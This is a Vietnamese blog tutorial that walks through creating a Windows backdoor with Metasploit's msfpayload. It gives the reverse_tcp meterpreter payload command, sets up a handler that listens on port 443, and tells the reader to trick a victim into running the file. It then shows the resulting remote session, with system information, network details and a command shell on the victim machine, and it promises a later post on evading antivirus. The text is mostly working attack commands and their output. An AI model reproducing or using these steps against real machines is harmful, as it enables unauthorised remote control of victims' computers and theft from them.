1. Giới thiệu chung về Backdoor
Trước khi tìm hiểu bài này bạn cần biết backdoor là gì?
Đây là khái niệm để chỉ một loại Trojan, sau khi được cài đặt vào máy nạn nhân sẽ tự mở ra một cổng dịch vụ cho phép kẻ tấn công (hacker) có thể kết nối từ xa tới máy nạn nhân, từ đó nó sẽ nhận và thực hiện lệnh mà kẻ tấn công đưa ra.
Thông thường, việc xác định những phần mềm đang sử dụng có được an toàn hay không vốn rất khó khăn, thì để tìm và phát hiện ra các Trojan “cửa hậu” lại là vấn đề nan giải gấp bội. Việc phát hiện ra những backdoor vừa nguy hiểm với phương thức hoạt động rất tinh tế như các loại sau đây cũng không phải là vấn đề đơn giản.
2. Cách thức tạo một backdoor
Chúng ta cùng tìm hiểu backdoor (cổng sau) trên môi trường MSF(Metasploit Framwork).
Để tạo backdoor trên msfconsole ta dùng msfpayload. Để xem cách sử dụng và cú pháp ta dùng msfpayload -h
|
|
root@kali:~# msfpayload -h
Usage: /opt/metasploit/apps/pro/msf3/msfpayload [<options>] <payload> [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>
OPTIONS:
-h Help banner
-l List available payloads
|
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
root@kali:~# msfpayload -l
Framework Payloads (346 total)
==============================
Name Description
---- -----------
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http Run a meterpreter server on Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server on Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server on Android. Connect back stager
android/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over HTTP
android/shell/reverse_https Spawn a piped command shell (sh). Tunnel communication over HTTPS
android/shell/reverse_tcp Spawn a piped command shell (sh). Connect back stager
|
3. Các bước tạo một payloads backdoor
Bước 1: Tạo Backdoor.
Sau khi xem các thông số mở console ta tiến hành tạo backdoor như sau:
|
|
root@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.131 LPORT=443 X > Desktop/backdoor.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 287
Options: {"LHOST"=>"10.0.0.131", "LPORT"=>"443"}
|
Một trong những payload mà các hacker đều yêu thích đó chính là meterpreter. Có một câu hỏi đặt ra là tại sao người ta lại yêu thích meterpreter đơn giản khó phát hiện, hỗ trợ rất nhiều tùy chọn trong quá trính khai thác máy nạn nhân như : keylog, webcam, hasdump …Trong tham số command tôi có sử dụng reverse_tcp là cho phép quá trình kết nối ngược về máy của attacker. Có thể hiểu một cách đơn giản là máy attacker mở cổng kết nối chờ máy victim kết nối vào. Hình thức này khác với các backdoor cổ điển là thường mở cổng trên máy nạn nhân. Nếu máy nạn nhân có firewall chặn chiều inbound thì coi như không thiết lập được kết nối. Còn với tùy chọn ở trên chỉ cần máy victim cho phép duyệt web với cổng 443 là ta có thể kết nối và điểu khiển máy nạn nhân.
Bước 2: Lắng nghe đợi kết nối.
|
|
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.0.0.131
LHOST => 10.0.0.131
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit
[*] Started reverse handler on 10.0.0.131:443
[*] Starting the payload handler...
|
Bước 3: Gửi file backdoor sang máy nạn nhân rồi thực thi.
Bằng cách nào đó ta gửi cho máy victim làm sao họ thực thi file đó để chúng ta có thể kết nối được vs máy victim
Ta sẽ thấy có kết nối ngược lại về máy attacker và trả lại cú pháp lệnh trên meterpreter như sau:
|
|
[*] Started reverse handler on 10.0.0.131:443
[*] Starting the payload handler...
[*] Sending stage (769536 bytes) to 10.0.0.3
[*] Meterpreter session 1 opened (10.0.0.131:443 -> 10.0.0.3:1051) at 2014-08-25 23:47:36 -0400
meterpreter >
|
Bước 4: Khai thác.
Gõ dòng lệnh kiểm tra thông tin máy đã bị nhiễm backdoor: sysinfo
|
|
meterpreter > sysinfo
Computer : CL03-XPSP2
OS : Windows XP (Build 2600, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
|
Lấy thêm thông tin và địa chỉ ip của máy victim:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
meterpreter > ipconfig
Interface 1
============
Name : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 127.0.0.1
Interface 2
============
Name : AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC : 00:0c:29:6c:90:ea
MTU : 1500
IPv4 Address : 10.0.0.3
IPv4 Netmask : 255.255.255.0
meterpreter >
|
Gọi shell command-line trên máy victim:
|
|
meterpreter > shell
Process 2880 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>
|
Và đến đây chúng ta có thể tùy ý khai thác trên máy nạn nhân thêm tài khoản, bật remote và mọi thứ nếu bạn muốn.
Vậy trong bài viết này tôi đã hướng dẫn các bạn một các căn bản sử dụng msfpayload để tạo ra backdoor, trojan kết nối vào máy tính nạn nhân. Trong các phân tiếp theo tôi sẽ hướng dẫn các bạn làm sao để vượt mặt các chương trình antivirus, các hình thức khai thác nâng cao sử dụng metepreter.
Vũ Quý Hòa
Facebook
Google+
Pinterest
1 nhận xét:
great!